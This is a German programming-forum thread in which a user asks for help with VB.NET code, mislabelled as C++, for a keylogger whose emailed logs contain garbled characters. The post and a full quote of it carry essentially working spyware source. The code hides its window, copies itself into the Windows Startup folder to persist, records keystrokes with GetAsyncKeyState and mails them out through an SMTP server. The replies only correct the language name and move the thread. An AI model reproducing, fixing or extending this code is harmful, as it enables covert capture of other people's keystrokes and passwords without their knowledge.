3. C++ Keylogger mit Email versenden Probleme

C++ Keylogger mit Email versenden Probleme

  • U

    Hallo Liebe Community,

    Ich bin neu hier im Forum und habe Probleme mit meinem Keylogger.
    Das Folgende Problem ist und zwar, wenn mir was in die E-Mail gesendet wird, kommen immer komische Zeichen auch mit ab und zu ist es auch nicht mal lesbar.

    Hier ist mein Code:

    Imports System.Net.Mail
    Public Class Form1
    Dim autostartpfad As String = Application.ExecutablePath
    Dim autostartpfad1 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(autostartpfad)
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
    Dim erhaltenerText As New RichTextBox
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Me.Opacity = 0.01
    Me.ShowInTaskbar = False
    Try
    IO.File.Copy(autostartpfad, autostartpfad1)
    Catch ex As Exception
    End Try
    End Sub
    Private Function getkeypress() As Integer
    For a As Integer = 1 To 255
    If GetAsyncKeyState(a) = -32767 Then
    Return (a)
    End If
    Next
    End Function
    Sub Abschicken()
    Dim smtpServer As New SmtpClient
    Dim email As New MailMessage
    smtpServer.Credentials = New Net.NetworkCredential("Deine web.Email", "Deine web Passwort")
    smtpServer.Port = 25
    smtpServer.Host = "smtp.web.de"
    email = New MailMessage
    email.From = New MailAddress("Deine web.Email")
    email.To.Add("Deine web.Email")
    email.Subject = "Betreff"
    email.Body = erhaltenerText.Text
    smtpServer.Send(email)
    End Sub

    Private Sub Senden_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Senden.Tick
    Abschicken()
    End Sub

    Private Sub Tasten_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Tasten.Tick
    Dim key As Integer = getkeypress()
    If key <> 0 Then
    erhaltenerText.Text = erhaltenerText.Text & CStr(Chr(key))
    End If
    End Sub
    End Class

    Habe dazu einen Screen gemacht, so dass man es besser sieht.

    Screen: http://www.directupload.net/file/d/3519/zv2dv4nk_png.htm

    Ich hoffe ihr könnt mir Helfen 😉

    MFG,

    0
  • F

    Ultrons schrieb:

    Hallo Liebe Community,

    Ich bin neu hier im Forum und habe Probleme mit meinem Keylogger.
    Das Folgende Problem ist und zwar, wenn mir was in die E-Mail gesendet wird, kommen immer komische Zeichen auch mit ab und zu ist es auch nicht mal lesbar.

    Hier ist mein Code:

    Imports System.Net.Mail
    Public Class Form1
    Dim autostartpfad As String = Application.ExecutablePath
    Dim autostartpfad1 As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(autostartpfad)
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
    Dim erhaltenerText As New RichTextBox
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Me.Opacity = 0.01
    Me.ShowInTaskbar = False
    Try
    IO.File.Copy(autostartpfad, autostartpfad1)
    Catch ex As Exception
    End Try
    End Sub
    Private Function getkeypress() As Integer
    For a As Integer = 1 To 255
    If GetAsyncKeyState(a) = -32767 Then
    Return (a)
    End If
    Next
    End Function
    Sub Abschicken()
    Dim smtpServer As New SmtpClient
    Dim email As New MailMessage
    smtpServer.Credentials = New Net.NetworkCredential("Deine web.Email", "Deine web Passwort")
    smtpServer.Port = 25
    smtpServer.Host = "smtp.web.de"
    email = New MailMessage
    email.From = New MailAddress("Deine web.Email")
    email.To.Add("Deine web.Email")
    email.Subject = "Betreff"
    email.Body = erhaltenerText.Text
    smtpServer.Send(email)
    End Sub

    Private Sub Senden_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Senden.Tick
    Abschicken()
    End Sub

    Private Sub Tasten_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Tasten.Tick
    Dim key As Integer = getkeypress()
    If key <> 0 Then
    erhaltenerText.Text = erhaltenerText.Text & CStr(Chr(key))
    End If
    End Sub
    End Class

    Habe dazu einen Screen gemacht, so dass man es besser sieht.

    Screen: http://www.directupload.net/file/d/3519/zv2dv4nk_png.htm

    Ich hoffe ihr könnt mir Helfen 😉

    MFG,

    safequote

    0
  • U

    Hmm..was meinst du denn genau ?^^

    Kannst du mir bitte erklären, kenne mich zwar einwenig aus aber ein meister in c++ bin ich auch noch nicht xD

    0
  • N

    Ultrons schrieb:

    Hmm..was meinst du denn genau ?^^

    Der hat das nur geqouted, für den Fall das du später editierst.

    Kannst du mir bitte erklären, kenne mich zwar einwenig aus aber ein meister in c++ bin ich auch noch nicht xD

    Das ist kein C++. Keine Ahnung, was das ist, aber das ist definitiv kein C++.

    0
  • C

    Dieser Thread wurde von Moderator/in volkard aus dem Forum C++ (auch C++0x und C++11) in das Forum Rund um die Programmierung verschoben.

    Im Zweifelsfall bitte auch folgende Hinweise beachten:
    C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?

    Dieses Posting wurde automatisch erzeugt.

    0
  • V

    Ist VB.net (Visual Basic auf dem .net-Framework).

    0
Anmelden zum Antworten